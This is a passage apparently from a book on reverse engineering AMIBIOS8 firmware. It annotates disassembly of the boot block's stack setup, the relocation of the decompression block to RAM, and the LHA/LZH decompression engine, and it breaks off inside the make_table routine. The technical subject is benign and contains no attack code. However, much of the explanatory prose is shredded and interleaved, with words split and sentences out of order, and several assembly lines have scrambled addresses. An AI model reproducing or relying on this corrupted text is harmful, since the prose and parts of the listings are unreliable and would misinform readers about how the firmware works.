e interestingcarries out preliminary DRAM initialization as needed. Th
table is the stack space initialization with
is defined as shown in listing 5.28. 
 

Listing 5.28 setup_stack Function 

F000:A1E7 setup_stack:                    ; _F0000:_j26 
F000:A1E7   mov   al, 0D4h ; 'L' 
F000:A1E9   out   80h, al                 ; Show POST code D4h 
F000:A1EB   mov   si, 0A1F1h 
F000:A1EE   jmp   near ptr Init_Descriptor_Cache 
F000:A1F1 ; ------------------------------------------------------------- 
F000:A1F1   mov   ax, cs 
F000:A1F3   mov   ss, ax 
F000:A1F5   mov   si, 0A1FBh 
F000:A1F8   jmp   zero_init_low_mem 
F000:A1FB ; ------------------------------------------------------------- 
F000:A1FB   nop 
F000:A1FC   mov   sp, 0A202h 
F000:A1FF   jmp   j_j_nullsub_1 
F000:A202 ; ------------------------------------------------------------- 
F000:A202   add   al, 0A2h ; 'a' 
F000:A204   mov   di, 0A20Ah 
F000:A207   jmp   init_cache 
F000:A20A ; ------------------------------------------------------------- 
F000:A20A   xor   ax, ax 
F000:A20C   mov   es, ax 
F000:A20E   mov   ds, ax 
F000:A210   mov   ax, 53h ; 'S'           ; Stack segment 
F000:A213   mov   ss, ax 
F000:A215   assume ss:nothing 
F000:A215   mov   sp, 4000h               ; Setup 16-KB stack 
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F000:A218   jmp   _j27 
 
 The  function initializes the spacsetup_stack

alizes 
e to be used as the stack at segment 

the ds and es segment registers to enter flat real mode or 
 the function, execution is directed to the decompression block 

ecompression Block Relocation 

ssion Block Relocation Routine 

53h. This function also initi
end ofvoodoo mode. In the 

handler. 
 
 
5.2.3.2. D
 
 The decompression block handler copies the decompression block from BIOS 
ROM to RAM and continues the execution in RAM as shown in listing 5.29. 
 

Listing 5.29 Decompre

F 8E _j27:                           ;000:A0  _F0000:A218 
F000:A0 k 8E   call  near ptr copy_decomp_bloc
F000:A091   call  sub_F000_A440 
......... 
F000:A21B copy_decomp_block proc far      ; _F0000:_j27 
F000:A21B   mov   al, 0D5h ; '-'          ; Boot block code is copied. 
from 
F000:A21B                      ; ROM to lower system memory and control 
F000:A21B                      ; is given to it. BIOS now executes out of 
F000:A21B                      ; RAM. Copies compressed boot block code 
F000:A21B                      ; to memory in right segments. Copies BIOS 
F000:A21B                      ; from ROM to RAM for faster access. 
F000:A21B                      ; Performs main BIOS checksum, and updates 
F000:A21B                      ; recovery status accordingly. 
F000:A21D   out   80h, al      ; Send POST code D5h to diagnostic port. 
F 1F   push  es 000:A2
F000:A220   call  get_decomp_block_size   ; On return: 
F000:A220                                 ; ecx = decomp_block_size 
F000:A220                                 ; esi = decomp_block_phy_addr 
F000:A220                                 ; At this point, ecx = 0x6000 
F000:A220                                 ; and esi = 0xFFFFA000 
F000:A223   mov   ebx, esi 
F000:A226   push  ebx 
F000:A228   shr   ecx, 2                  ; decomp_block_size / 4 
F000:A22C   push  8000h 
F000:A22F   pop   es 
F000:A230   assume es:decomp_block 
F000:A230   movzx edi, si 
F0 34   cld 00:A2
F000:A235   rep movs dword ptr es:[edi], dword ptr [esi] 
F000:A239   push  es 
F000:A23A   push  offset decomp_block_start ; jmp to 8000:A23Eh 
F000:A23D   retf 
F000:A23D copy_decomp_block endp ; 
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......... 
F000:A492 get_decomp_block_size proc near ; 
F000:A492   mov   ecx, cs:decomp_block_size 
F000:A498   mov   esi, ecx 
F000:A49B   neg   esi 
F000:A49E   retn 
F000:A49E get_decomp_block_size endp 
......... 
F000:FFD7 decomp_block_size dd 6000h      ; get_decomp_block_size 
......... 
 
 The copy_decomp_block function in listing 5.29 copies 24 KB of boot block code 
xFFFF

e offsets in the 
 segment and the copy of the last 24 KB of the F000h segment in RAM at segment 

AM 

(0 _A000–0xFFFF_FFFF) to RAM at segment 0x8000 and continues the code 
execution there. From listing 5.29, you should realize that the mapping of th
F000h
8000h are identical. 
 

 execution in RAM.  Now, I delve into code
 

Listing 5.30 Boot Block Execution in R

8000:A23E   push  51h ; 'Q' 
8000:A241   pop   fs                      ; fs = 51h 
8000:A243   assume fs:nothing 
8000:A243   mov   dword ptr fs:0, 0 
8000:A24D   pop   eax s                    ; eax = ebx (back in Fseg) 
8000:A24F   mov   cs:src_addr?, eax 
8000:A254   pop   es                      ; es = es_back_in_Fseg 
8000:A255   retn                          ; jmp to offset A091 
8000:A255 decomp_block_start endp ; 
 

 in listin The execution of code highlighted in red at address 0x8000:0xA255 g 5.30 
 values right before the retf instruction takes place in 

efore copy_decomp_block is executed at address 
 next instruction (the return address), i.e., 0xA091, is 

e retf instruction 

is enigmatic. Start with the stack
copy_decomp_block. Mind that b

f the0xF000:0xA08E, the address o
pushed to stack. Thus, you have the stack shown in figure 5.6 before th
takes place in copy_decomp_block. 
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Figure 5.6 Stack values during _j27 routine execution 

 
 Now, as you arrive in the decomp_block_start function, right before the ret 

structionin , the stack values shown in figure 5.6 have already been popped, except the value 
in the bottom of the stack, i.e., 0xA091. Thus, when the ret instruction executes, the code 
will jump to offset 0xA091. This offset contains the code shown in listing 5.31. 
 

Listing 5.31 Decompression Block Handler Routine 

8000:A091 decomp_block_entry proc near 
8000:A091   call  init_decomp_ngine       ; On ret, ds = 0 
8000:A094   call  copy_decomp_result 
8000:A097   call  call_F000_0000 
8000:A09A   retn 
8000:A09A decomp_block_entry endp 
 
 
5.2.3.3. Decompression Engine Initialization 

gine initialization is rather complex. Pay attention to its 
ngine initialization is shown in listing 5.32. 

utine 

 
 The decompression en

 eexecution. The decompression

Listing 5.32 Decompression Block Initialization Ro

8000:A440 init_decomp_ngine proc near     ; decomp_block_entry 
8000:A440   xor   ax, ax 
8000:A442   mov   es, ax 
8000:A444   assume es:_12000 
8000:A444   mov   si, 0F349h 
8000:A447   mov   ax, cs 
8000:A449   mov   ds, ax                  ; ds = cs 
8000:A44B   assume ds:decomp_block 
8000:A44B   mov   ax, [si+2]              ; ax = header length 
8000:A44E   mov   edi, [si+4]             ; edi = destination addr 
8000:A452   mov   ecx, [si+8]             ; ecx = decompression engine 
8000:A452                                 ;       byte count 
8000:A456   add   si, ax                  ; Point to decompression engine 
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8000:A458   movzx esi, si 
8000:A45C   rep movs byte ptr es:[edi], byte ptr [esi] ; Copy 
8000:A45C                                 ; decompression engine to 
8000:A45C                                 ; segment 1352h 
8000:A45F   xor   eax, eax 
8000:A462   mov   ds, ax 
8000:A464   assume ds:_12000 
8000:A464   mov   ax, cs 
8000:A466   shl   eax, 4                  ; eax = cs << 4 
8000:A46A   mov   si, 0F98Ch 
8000:A46D   movzx esi, si 
8000:A471   add   esi, eax                ; esi = src_addr 
8000:A474   mov   edi, 120000h            ; edi = dest_addr 
8000:A47A   mov   cs:decomp_dest_addr, edi 
8000:A480   call  decomp_ngine_start 
8000:A485   retn 
8000:A485 init_decomp_ngine endp 
......... 
8000:F349   db    1 
8000:F34A   db    0 
8000:F34B   dw 0Ch                        ; Header length 
8000:F34D   dd 13520h                     ; Decompression engine 
8000:F34D                                 ; Destination addr (physical) 
8000:F351   dd 637h                       ; Decompression engine size in 
8000:F351                                 ; bytes 
8000:F355   db  66h ; f                   ; First byte of decompression 
8000:F355                                 ; engine 
8000:F356   db  57h ; W 
......... 
1352:0000 decomp_ngine_start proc far     ; 
1352:0000   push  edi                     ; dest_addr 
1352:0002   push  esi                     ; src_addr 
1352:0004   call  expand 
1352:0007   add   sp, 8                   ; Trash parameters in stack 
1352:000A   retf 
1352:000A decomp_ngine_start endp 
 
 The decompression engine used in AMIBIOS8 is the LHA/LZH decompressor. It's 
similar to the one used in the AR archiver in the DOS era and the 

e h
one used in Award BIOS. 

as been modified. Thus, the code that 
ts is different from the ordinary LHA/LZH 

s 
s 

However, the header of the compressed cod
handles the header of the compressed componen
code. However, the main characteristic remains intact, i.e., the compression algorithm use

ng, aa Lempel-Zif front end and Huffman back end. The decompression engine code is lo
ng 5.33. shown in listi

 

Listing 5.33 Decompression Engine 

1352:000B expand proc near                ; ... 
1352:000B 
1352:000B src_addr= dword ptr  4 
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1352:000B dest_addr= dword ptr  8 
1352:000B 
1352:000B   push  bp 
1352:000C   mov   bp, sp 
1352:000E   pushad 
1352:0010   mov   eax, [bp+src_addr] 
1352:0014   mov   ebx, [bp+dest_addr] 
1352:0018   mov   cx, sp 
1352:001A   mov   dx, ss 
1352:001C   mov   sp, 453h 
1352:001F   mov   ss, sp                  ; ss = 453h 
1352:0021   mov   sp, 0EFF0h              ; ss:sp = 453:EFF0h 
1352:0024   push  ebx 
1352:0026   push  eax 
1352:0028   push  cx 
1352:0029   push  dx 
1352:002A   mov   bp, sp 
1352:002C   pusha 
1352:002D   push  ds 
1352:002E   push  453h 
1352:0031   pop   ds                      ; ds = 453h - scratch_pad 
1352:0031                                 ; segment 
1352:0032   push  es 
1352:0033   xor   cx, cx 
1352:0035   mov   match_length, cx 
1352:0039   mov   bit_position, cx 
1352:003D   mov   bit_buf, cx 
1352:0041   mov   _byte_buf, cx 
1352:0045   mov   word_453_8, cx 
1352:0049   mov   blocksize, cx 
1352:004D   mov   match_pos, cx 
1352:0051   mov   esi, [bp+src_addr] 
1352:0055   push  0 
1352:0057   pop   es                      ; es = 0 
1352:0058   assume es:_12000 
1352:0058   mov   ecx, es:[esi] 
1352:005D   mov   hdr_len?, ecx 
1352:0062   mov   ecx, es:[esi+4] 
1352:0068   mov   cmprssd_src_size, ecx 
1352:006D   add   esi, 8 
1352:0071   mov   src_byte_ptr, esi 
1352:0076   sub   hdr_len?, 8 
1352:007C   mov   cl, 10h                 ; Read 16 bits 
1352:007E   call  fill_bit_buf 
1352:0081   cmp   cmprssd_src_size, 0 
1352:0087   jz    short exit 
1352:0089 
1352:0089 next_window:                    ; ... 
1352:0089   mov   edi, cmprssd_src_size 
1352:008E   cmp   edi, 8192               ; 8-KB window size 
1352:0095   jbe   short cmprssd_size_lte_wndow_size 
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1352:0097   mov   di, 8192 
1352:009A 
1352:009A cmprssd_size_lte_wndow_size:    ; ... 
1352:009A   push  di                      ; Sliding window size 
1352:009B   call  decode 
1352:009E   add   sp, 2                   ; Discard pushed di above 
1352:00A1   movzx ecx, di                 ; ecx = number of decoded bytes 
1352:00A5   mov   ebx, ecx 
1352:00A8   jcxz  short no_decoded_byte 
1352:00AA   mov   edi, [bp+dest_addr] 
1352:00AE   add   [bp+dest_addr], ecx 
1352:00B2   mov   esi, offset window      ; ds:16 = window_buffer_start 
1352:00B8   rep movs byte ptr es:[edi], byte ptr [esi] ; Copy window 
1352:00BB 
1352:00BB no_decoded_byte:                ; ... 
1352:00BB   sub   cmprssd_src_size, ebx 
1352:00C0   ja    short next_window 
1352:00C2 
1352:00C2 exit:                           ; ... 
1352:00C2   pop   es 
1352:00C3   assume es:nothing 
1352:00C3   pop   ds 
1352:00C4   popa 
1352:00C5   pop   dx 
1352:00C6   pop   cx 
1352:00C7   mov   ss, dx 
1352:00C9   mov   sp, cx 
1352:00CB   popad 
1352:00CD   pop   bp 
1352:00CE   retn 
1352:00CE expand endp ; sp = -8 
1352:00CE 
1352:00CF decode proc near                ; ... 
1352:00CF 
1352:00CF window_size= word ptr  4 
1352:00CF 
1352:00CF   push  bp 
1352:00D0   mov   bp, sp 
1352:00D2   push  di 
1352:00D3   push  si 
1352:00D4   xor   si, si 
1352:00D6   mov   dx, [bp+window_size] 
1352:00D9 
1352:00D9 copy_match_byte:                ; ... 
1352:00D9   dec   match_length 
1352:00DD   js    short no_match_byte 
1352:00DF   mov   bx, match_pos 
1352:00E3   mov   al, window[bx]          ; Copy matched dictionary 
1352:00E3                                 ; entries 
1352:00E7   mov   window[si], al          ; Window at ds:[16h] - 
1352:00E7                                 ; ds:[2016h] 
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1352:00EB   lea   ax, [bx+1] 
1352:00EE   and   ah, 1Fh                 ; byte_match_pos % window_size 
1352:00EE                                 ; (mod 8 KB) 
1352:00F1   mov   match_pos, ax 
1352:00F4   inc   si                      ; Point to next byte in window 
1352:00F5   cmp   si, dx                  ; Window size reached? 
1352:00F7   jnz   short copy_match_byte 
1352:00F9   pop   si 
1352:00FA   pop   di 
1352:00FB   leave 
1352:00FC   retn 
1352:00FD ; ------------------------------------------------------------- 
1352:00FD no_match_byte:                  ; ... 
1352:00FD   cmp   blocksize, 0 
1352:0102   jnz   short no_tables_init 
1352:0104   mov   dx, bit_buf 
1352:0108   mov   cl, 10h                 ; Fetch 16-bit from src 
1352:010A   call  fill_bit_buf 
1352:010D   mov   ax, dx 
1352:010F   mov   blocksize, ax 
1352:0112   push  3                       ; Treshold? 
1352:0114   push  5                       ; TBIT 
1352:0116   push  13h                     ; NT 
1352:0118   call  read_match_pos_len 
1352:011B   call  read_code_len 
1352:011E   push  0FFFFh                  ; -1 - threshold? 
1352:0120   push  4                       ; PBIT 
1352:0122   push  0Eh                     ; NP (min_intrnl_node in 
1352:0122                                 ; match_byte_ptr_tbl index) 
1352:0124   call  read_match_pos_len 
1352:0127   add   sp, 0Ch                 ; Discard pushed parameters 
1352:0127                                 ; above 
1352:012A 
1352:012A no_tables_init:                 ; ... 
1352:012A   mov   bx, bit_buf 
1352:012E   shr   bx, 3                   ; bx /= 8 
1352:012E                             ; (index_to_internal_node_in_tree) 
1352:012E                                 ; max(bx) = 1FFFh/8191d (8 KB) 
1352:0131   and   bl, 0FEh                ; Round to even 
1352:0134   dec   blocksize 
1352:0138   mov   bx, leaf_tbl[bx] 
1352:013C   mov   ax, 8                   ; ax = bitmask 
1352:013F 
1352:013F next_bit:                       ; ... 
1352:013F   cmp   bx, 1FEh                ; Internal/parent node? 
1352:0143   jb    short is_leaf_node 
1352:0145   add   bx, bx                  ; bx *= 2 (internal node index) 
1352:0147   test  bit_buf, ax 
1352:014B   jz    short go_left           ; (assuming 0 is left) 
1352:014D   mov   bx, child_1[bx]         ; Move right in tree table 
1352:0151   shr   ax, 1 
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1352:0153   jmp   short next_bit 
1352:0155 ; ------------------------------------------------------------- 
1352:0155 go_left:                        ; ... 
1352:0155   mov   bx, child_0[bx]         ; Move left in tree table 
1352:0159   shr   ax, 1 
1352:015B   jmp   short next_bit 
1352:015D ; ------------------------------------------------------------- 
1352:015D is_leaf_node:                   ; ... 
1352:015D   mov   cl, leaf_bitlen_tbl[bx] ; cl = bitlen 
1352:0161   mov   dx, bx                  ; dx = leaf_index 
1352:0163   call  fill_bit_buf 
1352:0166   cmp   dx, 0FFh                ; true_byte_val or match? 
1352:016A   ja    short is_match_length 
1352:016C   mov   window[si], dl          ; buffer[si] = dl --> 
1352:016C                                 ; leaf_idx(dl_val) = code 
1352:0170   inc   si 
1352:0171   cmp   si, [bp+window_size] 
1352:0174   jnz   short no_match_byte 
1352:0176   pop   si 
1352:0177   pop   di 
1352:0178   leave 
1352:0179   retn 
1352:017A ; ------------------------------------------------------------- 
1352:017A is_match_length:                ; ... 
1352:017A   sub   dx, 0FDh ; '¤' 
1352:017E   mov   match_length, dx 
1352:0182   call  decode_match_pos        ; ret_val in ax 
1352:0182                                 ; (ax = curr_idx - match_pos) 
1352:0185   mov   bx, si                  ; bx = current_pos_in_window 
1352:0187   sub   bx, ax 
1352:0189   dec   bx                      ; bx = match_pos 
1352:018A   and   bh, 1Fh                 ; bx %= window_size (mod 8 KB) 
1352:018D   mov   dx, [bp+window_size] 
1352:0190 
1352:0190 copy_next_match_byte:           ; ... 
1352:0190   dec   match_length 
1352:0194   js    no_match_byte 
1352:0198   mov   al, window[bx] 
1352:019C   inc   bx 
1352:019D   mov   window[si], al 
1352:01A1   inc   si 
1352:01A2   and   bh, 1Fh                 ; bx %= window_size (mod 8 KB) 
1352:01A5   cmp   si, dx                  ; End of window reached? 
1352:01A7   jnz   short copy_next_match_byte 
1352:01A9   mov   match_pos, bx 
1352:01AD   pop   si 
1352:01AE   pop   di 
1352:01AF   leave 
1352:01B0   retn 
1352:01B0 decode endp 
1352:01B1 
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1352:01B1 ; --------------- S U B R O U T I N E ------------------------- 
1352:01B1 ; out: ax = (current_position - match_position) 
1352:01B1 
1352:01B1 decode_match_pos proc near      ; ... 
1352:01B1   push  si 
1352:01B2   movzx bx, byte ptr bit_buf+1  ; bx = hi_byte(bit_buf) 
1352:01B7   add   bx, bx                  ; bx *= 2 (bx = position in 
1352:01B7                                 ; symbol table) 
1352:01B9   mov   si, match_pos_tbl[bx] 
1352:01BD   mov   ax, 80h ; 'A'           ; ax = bit_mask 
1352:01C0 
1352:01C0 next_bit:                       ; ... 
1352:01C0   cmp   si, 0Eh 
1352:01C3   jb    short leaf_pos_found    ; leaf index (bit_len) is in si 
1352:01C5   add   si, si                  ; si *= 2 
1352:01C7   test  bit_buf, ax 
1352:01CB   jz    short bit_is_0 
1352:01CD   mov   si, child_1[si]         ; si = right[si] 
1352:01D1   shr   ax, 1 
1352:01D3   jmp   short next_bit 
1352:01D5 ; ------------------------------------------------------------- 
1352:01D5 bit_is_0:                       ; ... 
1352:01D5   mov   si, child_0[si]         ; si = left[si] 
1352:01D9   shr   ax, 1 
1352:01DB   jmp   short next_bit 
1352:01DD ; ------------------------------------------------------------- 
1352:01DD leaf_pos_found:                 ; ... 
1352:01DD   mov   cl, match_pos_len_tbl[si] 
1352:01E1   call  fill_bit_buf 
1352:01E4   or    si, si 
1352:01E6   mov   ax, si 
1352:01E8   jz    short exit 
1352:01EA   lea   cx, [si-1] 
1352:01ED   mov   si, 1 
1352:01F0   shl   si, cl 
1352:01F2   mov   al, cl 
1352:01F4   mov   cl, 10h 
1352:01F6   sub   cl, al 
1352:01F8   mov   dx, bit_buf 
1352:01FC   shr   dx, cl 
1352:01FE   mov   cl, al                  ; cl = code_bit_len 
1352:0200   call  fill_bit_buf 
1352:0203   mov   ax, dx 
1352:0205   add   ax, si 
1352:0207 
1352:0207 exit:                           ; ... 
1352:0207   pop   si 
1352:0208   retn 
1352:0208 decode_match_pos endp 
1352:0208 
1352:0209 read_match_pos_len proc near    ; ... 
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1352:0209 
1352:0209 table_size= word ptr -8 
1352:0209 matchpos_len_idx= word ptr -6 
1352:0209 dfault_symbol_ptr_len= word ptr -2 
1352:0209 symbol_bitlen= word ptr  4 
1352:0209 symbol_ptr_len= byte ptr  6 
1352:0209 threshold= word ptr  8 
1352:0209 
1352:0209   enter 8, 0                    ; 8 bytes of local variables 
1352:020D   push  di 
1352:020E   push  si 
1352:020F   mov   al, [bp+symbol_ptr_len] ; al = amount of bits to read 
1352:0212   call  get_bits 
1352:0215   mov   [bp+table_size], ax 
1352:0218   or    ax, ax 
1352:021A   jnz   short table_size_not_0 
1352:021C   mov   al, [bp+symbol_ptr_len] 
1352:021F   call  get_bits 
1352:0222   mov   [bp+dfault_symbol_ptr_len], ax 
1352:0225   push  ds 
1352:0226   pop   es                      ; es = ds 
1352:0227   assume es:scratch_pad_seg 
1352:0227   mov   cx, [bp+symbol_bitlen] 
1352:022A   jcxz  short min_intrnl_node_idx_is_0 
1352:022C   mov   di, offset match_pos_len_tbl ; 
1352:022F   xor   ax, ax 
1352:0231   shr   cx, 1 
1352:0233   rep stosw                     ; Zero init the table 
1352:0235   jnb   short min_intrnl_node_idx_is_0 
1352:0237   stosb 
1352:0238 
1352:0238 min_intrnl_node_idx_is_0:       ; ... 
1352:0238   mov   ax, [bp+dfault_symbol_ptr_len] 
1352:023B   mov   cx, 256                 ; 256 words = table size 
1352:023E   mov   di, offset match_pos_tbl ; Bytes symbol table 
1352:0241   rep stosw 
1352:0243   pop   si 
1352:0244   pop   di 
1352:0245   leave 
1352:0246   retn 
1352:0247 ; ------------------------------------------------------------- 
1352:0247 table_size_not_0:               ; ... 
1352:0247   mov   [bp+matchpos_len_idx], 0 
1352:024C 
1352:024C nxt_matchpos_len_idx:           ; ... 
1352:024C   mov   ax, [bp+matchpos_len_idx] 
1352:024F   cmp   [bp+table_size], ax 
1352:0252   jle   short matchpos_bitlen_tbl_done 
1352:0254   mov   si, bit_buf 
1352:0258   shr   si, 13                  ; c = bitbuf >> (BITBUFSIZ - 3) 
1352:025B   cmp   si, 7 
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1352:025E   jnz   short not_max_index 
1352:0260   mov   di, 1000h               ; mask= 1U << (BITBUFSIZ-1-3) 
1352:0263   test  byte ptr bit_buf+1, 10h ; hi_byte(bit_buf) & 0x10 
1352:0268   jz    short not_max_index 
1352:026A 
1352:026A inc_index:                      ; ... 
1352:026A   inc   si 
1352:026B   shr   di, 1 
1352:026D   test  bit_buf, di 
1352:0271   jnz   short inc_index 
1352:0273 
1352:0273 not_max_index:                  ; ... 
1352:0273   mov   cl, 3 
1352:0275   cmp   si, 7 
1352:0278   jl    short get_src_bits 
1352:027A   lea   cx, [si-3]              ; cl = bit count to be read 
1352:027D 
1352:027D get_src_bits:                   ; ... 
1352:027D   call  fill_bit_buf 
1352:0280   mov   bx, [bp+matchpos_len_idx] 
1352:0283   inc   [bp+matchpos_len_idx] 
1352:0286   mov   ax, si 
1352:0288   mov   match_pos_len_tbl[bx], al 
1352:028C   mov   ax, [bp+threshold] 
1352:028F   cmp   [bp+matchpos_len_idx], ax 
1352:0292   jnz   short nxt_matchpos_len_idx 
1352:0294   mov   al, 2 
1352:0296   call  get_bits 
1352:0299   mov   bx, [bp+matchpos_len_idx] 
1352:029C   mov   di, ax 
1352:029E 
1352:029E nxt_matchpos_len_tbl_idx:       ; ... 
1352:029E   dec   di 
1352:029F   jns   short index_is_positive 
1352:02A1   mov   [bp+matchpos_len_idx], bx 
1352:02A4   jmp   short nxt_matchpos_len_idx 
1352:02A6 ; ------------------------------------------------------------- 
1352:02A6 index_is_positive:              ; ... 
1352:02A6   mov   match_pos_len_tbl[bx], 0 
1352:02AB   inc   bx 
1352:02AC   jmp   short nxt_matchpos_len_tbl_idx 
1352:02AE ; ------------------------------------------------------------- 
1352:02AE matchpos_bitlen_tbl_done:       ; ... 
1352:02AE   mov   bx, ax 
1352:02B0   cmp   [bp+symbol_bitlen], ax 
1352:02B3   jle   short init_tree 
1352:02B5   xor   ax, ax 
1352:02B7   mov   cx, [bp+symbol_bitlen] 
1352:02BA   sub   cx, bx 
1352:02BC   lea   di, match_pos_len_tbl[bx] ; 
1352:02C0   push  ds 
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1352:02C1   pop   es                      ; es = ds 
1352:02C2   shr   cx, 1                   ; cx/2 
1352:02C4   rep stosw                     ; Zero init matchpos_bitlen_tbl 
1352:02C6   jnb   short init_tree 
1352:02C8   stosb 
1352:02C9 
1352:02C9 init_tree:                      ; ... 
1352:02C9   push  ds 
1352:02CA   push  offset match_pos_tbl 
1352:02CD   push  8                       ; Table bits 
1352:02CF   push  ds 
1352:02D0   push  offset match_pos_len_tbl 
1352:02D3   push  [bp+symbol_bitlen] 
1352:02D6   call  make_table 
1352:02D9   add   sp, 12                  ; Discard the pushed parameters 
1352:02DC   pop   si 
1352:02DD   pop   di 
1352:02DE   leave 
1352:02DF   retn 
1352:02DF read_match_pos_len endp 
1352:02DF 
1352:02E0 read_code_len proc near         ; ... 
1352:02E0 
1352:02E0 min_intrnl_node_idx= word ptr -6 
1352:02E0 tbl_index= word ptr -4 
1352:02E0 
1352:02E0   enter 6, 0 
1352:02E4   push  di 
1352:02E5   push  si 
1352:02E6   mov   al, 9                   ; al = CODE_BITS 
1352:02E8   call  get_bits                ; Get 9 bits 
1352:02EB   mov   [bp+min_intrnl_node_idx], ax 
1352:02EE   or    ax, ax 
1352:02F0   jnz   short code_len_not_zero 
1352:02F2   push  ds 
1352:02F3   pop   es                      ; es = scratchpad_seg 
1352:02F4   xor   ax, ax 
1352:02F6   mov   cx, 1FEh 
1352:02F9   mov   di, offset leaf_bitlen_tbl 
1352:02FC   rep stosw                     ; Zero init leaf_bitlen_table[] 
1352:02FC                                 ; (@scratchpad_seg:3006h) 
1352:02FE   mov   al, 9 
1352:0300   call  get_bits 
1352:0303   push  ds 
1352:0304   pop   es 
1352:0305   mov   cx, 4096 
1352:0308   mov   di, offset leaf_tbl 
1352:030B   rep stosw                     ; Zero init internal_node_tbl 
1352:030B                                 ; (8 KB @ scratchpad_seg:3A0Dh) 
1352:030D   pop   si 
1352:030E   pop   di 
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1352:030F   leave 
1352:0310   retn 
1352:0311 ; ------------------------------------------------------------- 
1352:0311 code_len_not_zero:              ; ... 
1352:0311   xor   bx, bx 
1352:0313 
1352:0313 next_table_index:               ; ... 
1352:0313   mov   [bp+tbl_index], bx 
1352:0316   cmp   [bp+min_intrnl_node_idx], bx 
1352:0319   jle   short init_leaf_bitlen_tbl 
1352:031B   movzx si, byte ptr bit_buf+1 
1352:0320   add   si, si                  ; si *= 2 
1352:0322   mov   si, match_pos_tbl[si]   ; mov si, [match_pos_tbl+si] 
1352:0326   mov   ax, 80h ; 'A'           ; ax = bit_mask 
1352:0329 
1352:0329 next_bit:                       ; ... 
1352:0329   cmp   si, 13h 
1352:032C   jl    short bit_exhausted 
1352:032E   shl   si, 1                   ; si *= 2 
1352:0330   test  bit_buf, ax 
1352:0334   jz    short go_left 
1352:0336   mov   si, child_1[si]         ; mov si, [child_1 + si] 
1352:033A   shr   ax, 1 
1352:033C   jmp   short next_bit 
1352:033E ; ------------------------------------------------------------- 
1352:033E go_left:                        ; ... 
1352:033E   mov   si, child_0[si]         ; mov si, [child_0 + si] 
1352:0342   shr   ax, 1 
1352:0344   jmp   short next_bit 
1352:0346 ; ------------------------------------------------------------- 
1352:0346 bit_exhausted:                  ; ... 
1352:0346   mov   cl, match_pos_len_tbl[si] 
1352:034A   call  fill_bit_buf 
1352:034D   cmp   si, 2 
1352:0350   jg    short node_idx_gt_2 
1352:0352   mov   ax, 1 
1352:0355   or    si, si 
1352:0357   jz    short node_idx_is_0 
1352:0359   cmp   si, 1 
1352:035C   jnz   short node_idx_is_1 
1352:035E   mov   al, 4 
1352:0360   call  get_bits 
1352:0363   add   ax, 3 
1352:0366   jmp   short node_idx_is_0 
1352:0368 ; ------------------------------------------------------------- 
1352:0368 node_idx_is_1:                  ; ... 
1352:0368   mov   al, 9 
1352:036A   call  get_bits 
1352:036D   add   ax, 14h 
1352:0370 
1352:0370 node_idx_is_0:                  ; ... 
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1352:0370   mov   bx, [bp+tbl_index] 
1352:0373 
1352:0373 next_leaf:                      ; ... 
1352:0373   dec   ax 
1352:0374   js    short next_table_index 
1352:0376   mov   leaf_bitlen_tbl[bx], 0 
1352:037B   inc   bx 
1352:037C   jmp   short next_leaf 
1352:037E ; ------------------------------------------------------------- 
1352:037E node_idx_gt_2:                  ; ... 
1352:037E   mov   bx, [bp+tbl_index] 
1352:0381   mov   ax, si 
1352:0383   sub   ax, 2 
1352:0386   mov   leaf_bitlen_tbl[bx], al 
1352:038A   inc   bx 
1352:038B   jmp   short next_table_index 
1352:038D ; ------------------------------------------------------------- 
1352:038D init_leaf_bitlen_tbl:           ; ... 
1352:038D   mov   cx, 1FEh 
1352:0390   sub   cx, bx 
1352:0392   jle   short init_tree 
1352:0394   lea   di, leaf_bitlen_tbl[bx] 
1352:0398   push  ds 
1352:0399   pop   es 
1352:039A   xor   ax, ax 
1352:039C   shr   cx, 1 
1352:039E   rep stosw 
1352:03A0   jnb   short init_tree 
1352:03A2   stosb 
1352:03A3 
1352:03A3 init_tree:                      ; ... 
1352:03A3   push  ds 
1352:03A4   push  offset leaf_tbl 
1352:03A7   push  0Ch 
1352:03A9   push  ds 
1352:03AA   push  offset leaf_bitlen_tbl 
1352:03AD   push  1FEh 
1352:03B0   call  make_table 
1352:03B3   add   sp, 0Ch 
1352:03B6   pop   si 
1352:03B7   pop   di 
1352:03B8   leave 
1352:03B9   retn 
1352:03B9 read_code_len endp 
1352:03B9 
1352:03BA make_table proc near            ; ... 
1352:03BA 
1352:03BA __start_0= word ptr -80h 
1352:03BA __start_1= word ptr -7Eh 
1352:03BA __start_2= word ptr -7Ch 
1352:03BA __weight_0= word ptr -5Ch 
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1352:03BA __weight_1= word ptr -5Ah 
1352:03BA __end_of_weight?= word ptr -3Ch 
1352:03BA __count_0= word ptr -3Ah 
1352:03BA __count_1= word ptr -38h 
1352:03BA __end_of_count= word ptr -1Ah 
1352:03BA __jutbits= word ptr -18h 
1352:03BA __mask= word ptr -16h 
1352:03BA __p= word ptr -14h 
1352:03BA __ch= word ptr -10h 
1352:03BA __current_pos= word ptr -0Eh 
1352:03BA __i= word ptr -0Ch 
1352:03BA __k= word ptr -0Ah 
1352:03BA __child_0_idx= word ptr -8 
1352:03BA __child_1_idx= word ptr -6 
1352:03BA tbl_idx= dword ptr -4 
1352:03BA leaf_count= word ptr  4 
1352:03BA leaf_bitlen_tbl= dword ptr  6 
1352:03BA tbl_bitcount= word ptr  0Ah 
1352:03BA table= dword ptr  0Ch 
1352:03BA 
1352:03BA   enter 128, 0 
1352:03BE   push  di 
1352:03BF   push  si 
1352:03C0   xor   ax, ax                  ; Zero init 16 words 
1352:03C0                                 ; ([bp-38h]- [bp-18h]) 
1352:03C2   mov   cx, 16 
1352:03C5   lea   di, [bp+__count_1]      ; Count @ scratch_pad segment 
1352:03C5                                 ; Note: scratchpad_seg equal to 
1352:03C5                                 ; stack_seg 
1352:03C8   push  ds 
1352:03C9   pop   es                      ; es = ds 
1352:03CA   rep stosw 
1352:03CC   xor   si, si 
1352:03CE   mov   cx, [bp+leaf_count] 
1352:03D1   or    cx, cx 
1352:03D3   jz    short leaf_count_is_0 
1352:03D5   mov   di, word ptr [bp+leaf_bitlen_tbl] 
1352:03D8   mov   ds, word ptr [bp+leaf_bitlen_tbl+2] 
1352:03DB 
1352:03DB nxt_leaf_bitlen_tbl_entry:      ; ... 
1352:03DB   mov   bx, di 
1352:03DD   add   bx, si 
1352:03DF   mov   bl, [bx]                ; bl = [si+di] 
1352:03E1   sub   bh, bh                  ; bh = 0 
1352:03E3   add   bx, bx                  ; bx = bl*2 
1352:03E5   lea   ax, [bp+__count_0] 
1352:03E8   add   bx, ax 
1352:03EA   inc   word ptr ss:[bx]        ; count[bx]++ - count is the 
1352:03EA                                 ; same as the count data_seg 
